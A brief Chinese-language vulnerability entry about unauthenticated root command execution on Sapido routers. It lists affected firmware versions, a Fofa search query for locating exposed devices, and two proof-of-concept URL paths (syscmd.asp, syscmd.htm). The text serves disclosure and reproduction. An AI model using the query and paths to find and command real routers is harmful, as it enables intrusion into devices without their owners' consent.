漏洞简介

Sapido路由器存在命令执行漏洞，攻击者可通过未授权进入命令执行页面，进而可以root权限执行任意命令。
http://www.sapido.com.tw/TC/home.htm
影响版本

BR270n-v2.1.03
    BRC76n-v2.1.03
    GR297-v2.1.3
    RB1732-v2.0.43

漏洞复现

Fofa：app="Sapido-路由器"

登录页面

**POC

http://x.x.x.x/syscmd.asp

http://x.x.x.x/syscmd.htm**